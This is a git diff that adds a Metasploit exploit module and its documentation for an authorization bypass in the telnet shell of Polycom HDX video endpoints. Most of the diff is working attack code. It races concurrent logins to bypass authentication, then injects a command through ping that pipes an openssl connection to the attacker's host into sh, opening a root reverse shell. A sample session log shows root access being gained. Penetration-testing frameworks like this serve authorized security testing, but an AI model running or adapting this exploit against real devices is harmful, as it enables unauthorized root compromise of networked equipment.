diff --git a/documentation/modules/exploit/unix/misc/psh_auth_bypass.md b/documentation/modules/exploit/unix/misc/psh_auth_bypass.md new file mode 100644 index 0000000000..7d08d8aec7 --- /dev/null +++ b/documentation/modules/exploit/unix/misc/psh_auth_bypass.md @@ -0,0 +1,36 @@ +## Vulnerable Application + +This module exploits the Polycom HDX video endpoints with software <= 3.0.5. +It was tested on a Polycom HDX 7000 running software version 3.0.3. Telnet port +23 should be accessible, as it is with the factory default configuration. + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf exploit(psh_auth_bypass) > use exploit/unix/misc/psh_auth_bypass +msf exploit(psh_auth_bypass) > run + +[*] Started reverse double SSL handler on 192.168.1.120:4444 +[*] 192.168.1.155:23 - Starting Authentication bypass with 6 threads with 100 max connections +[+] 192.168.1.155:23 - 192.168.1.155:23 Successfully exploited the authentication bypass flaw +[+] 192.168.1.155:23 - Sending payload of 178 bytes to 192.168.1.155:40186... +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo xInxktvgUmm7hPyh; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "xInxktvgUmm7hPyh\n" +[*] Matching... +[*] A is input... +[*] Command shell session 1 opened (192.168.1.120:4444 -> 192.168.1.155:37728) at 2016-08-01 13:49:06 -0500 +[*] 192.168.1.155:23 - Shutting down payload stager listener... + +whoami +root +uname -a +Linux polycom.lan 2.6.33.3-rt17.p2.25 #1 PREEMPT RT Wed Aug 3 14:08:40 CDT 2011 ppc unknown +``` diff --git a/modules/exploits/unix/misc/psh_auth_bypass.rb b/modules/exploits/unix/misc/psh_auth_bypass.rb new file mode 100644 index 0000000000..a968a6259c --- /dev/null +++ b/modules/exploits/unix/misc/psh_auth_bypass.rb @@ -0,0 +1,248 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Polycom Command Shell Authorization Bypass', + 'Alias' => 'psh_auth_bypass', + 'Author' => + [ + 'Paul Haas ', # module + 'h00die ', # submission/cleanup + ], + 'DisclosureDate' => 'Jan 18 2013', + 'Description' => %q( + The login component of the Polycom Command Shell on Polycom HDX + video endpints, running software versions 3.0.5 and earlier, + is vulnerable to an authorization bypass when simultaneous + connections are made to the service, allowing remote network + attackers to gain access to a sandboxed telnet prompt without + authentication. Versions prior to 3.0.4 contain OS command + injection in the ping command which can be used to execute + arbitrary commands as root. + ), + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ], + [ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ], + [ 'EDB', '24494'] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [ [ "Universal", {} ] ], + 'Payload' => + { + 'Space' => 8000, + 'DisableNops' => true, + 'Compat' => { 'PayloadType' => 'cmd' } + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' }, + 'DefaultTarget' => 0 + ) + ) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(23), + OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), + OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) + ], self.class + ) + register_advanced_options( + [ + OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]), + OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100]) + ], self.class + ) + end + + def check + connect + sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n") + Rex.sleep(1) + res = sock.get_once + disconnect + + if !res && !res.empty? + return Exploit::CheckCode::Safe + end + + if res =~ /Welcome to ViewStation/ + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + # Keep track of results (successful connections) + results = [] + + # Random string for password + password = Rex::Text.rand_text_alpha(rand(5) + 1) + + # Threaded login checker + max_threads = datastore['THREADS'] + cur_threads = [] + + # Try up to 100 times just to be sure + queue = [*(1..datastore['MAX_CONNECTIONS'])] + + print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ") + until queue.empty? + while cur_threads.length < max_threads + + # We can stop if we get a valid login + break unless results.empty? + + # keep track of how many attempts we've made + item = queue.shift + + # We can stop if we reach max tries + break unless item + + t = Thread.new(item) do |count| + sock = connect + sock.put(password + "\n") + res = sock.get_once + + until res.empty? + break unless results.empty? + + # Post-login Polycom banner means success + if res =~ /Polycom/ + results << sock + break + # bind error indicates bypass is working + elsif res =~ /bind/ + sock.put(password + "\n") + # Login error means we need to disconnect + elsif res =~ /failed/ + break + # To many connections means we need to disconnect + elsif res =~ /Error/ + break + end + res = sock.get_once + end + end + + cur_threads << t + end + + # We can stop if we get a valid login + break unless results.empty? + + # Add to a list of dead threads if we're finished + cur_threads.each_index do |ti| + t = cur_threads[ti] + unless t.alive? + cur_threads[ti] = nil + end + end + + # Remove any dead threads from the set + cur_threads.delete(nil) + + Rex.sleep(0.25) + end + + # Clean up any remaining threads + cur_threads.each { |sock| sock.kill } + + if !results.empty? + print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw") + do_payload(results[0]) + else + print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable") + end + end + + def do_payload(sock) + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + + # Start a listener + start_listener(true) + + # Figure out the port we picked + cbport = self.service.getsockname[2] + + # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128 + cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n" + sock.put(cmd) + + # Give time for our command to be queued and executed + 1.upto(5) do + Rex.sleep(1) + break if session_created? + end + end + + def stage_final_payload(cli) + print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") + cli.put(payload.encoded + "\n") + end + + def start_listener(ssl = false) + comm = datastore['ListenerComm'] + if comm == 'local' + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + self.service = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['CBPORT'], + 'SSL' => ssl, + 'SSLCert' => datastore['SSLCert'], + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + } + ) + + self.service.on_client_connect_proc = proc { |client| + stage_final_payload(client) + } + + # Start the listening service + self.service.start + end + + # Shut down any running services + def cleanup + super + if self.service + print_status("Shutting down payload stager listener...") + begin + self.service.deref if self.service.is_a?(Rex::Service) + if self.service.is_a?(Rex::Socket) + self.service.close + self.service.stop + end + self.service = nil + rescue ::Exception + end + end + end + + # Accessor for our TCP payload stager + attr_accessor :service +end